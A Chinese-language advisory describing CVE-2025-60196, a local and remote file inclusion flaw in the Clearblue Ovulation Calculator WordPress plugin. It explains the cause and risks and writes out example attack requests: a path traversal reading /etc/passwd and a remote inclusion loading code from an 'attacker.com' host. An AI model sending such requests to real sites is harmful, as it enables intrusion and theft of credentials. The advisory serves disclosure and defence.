CVE-2025-60196CVE-2025-60196是WordPress插件Clearblue® Ovulation Calculator中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞属于PHP文件包含类漏洞,具体表现为对文件名缺乏适当的控制,允许攻击者通过构造恶意请求包含服务器上的本地文件甚至远程文件。在PHP应用程序中,文件包含功能(如include、require、include_once、require_once)被广泛用于代码复用,但如果对用户输入的文件路径没有进行严格的验证和过滤,攻击者就可以利用此功能读取服务器上的敏感文件,如配置文件、密码文件、源代码等,或者包含执行恶意代码。在某些配置下,攻击者甚至可以通过远程文件包含(RFI)从外部服务器加载恶意脚本,从而实现远程代码执行。攻击者无需认证即可利用此漏洞,但需要一定的用户交互(如诱导管理员访问特定页面)。该漏洞影响了Clearblue® Ovulation Calculator从任意版本到1.2.4的所有版本。
该漏洞是典型的PHP文件包含(File Inclusion)漏洞,源于插件代码中对用户可控输入的不当处理。在PHP应用程序中,文件包含函数(如include()和require())用于将外部文件的内容引入当前脚本执行。当应用程序根据用户输入动态决定要包含的文件路径时,如果缺乏严格的输入验证,攻击者可以通过路径遍历(Path Traversal)或直接文件包含来读取服务器上的敏感文件。
具体来说,攻击者可以通过构造类似?page=../../../../etc/passwd的请求来读取系统敏感文件,或者使用?page=http://attacker.com/malicious.txt来包含远程恶意代码。在某些PHP配置下(如allow_url_include=On),远程文件包含变得更加危险。
利用此漏洞可能导致以下风险:1) 读取服务器敏感配置文件(如wp-config.php)获取数据库凭证;2) 读取/etc/passwd了解系统用户信息;3) 通过远程文件包含执行任意PHP代码;4) 在某些场景下可能导致完整的服务器沦陷。
漏洞的根本原因在于插件未对include/require语句中使用的参数进行充分的输入验证和路径安全检查。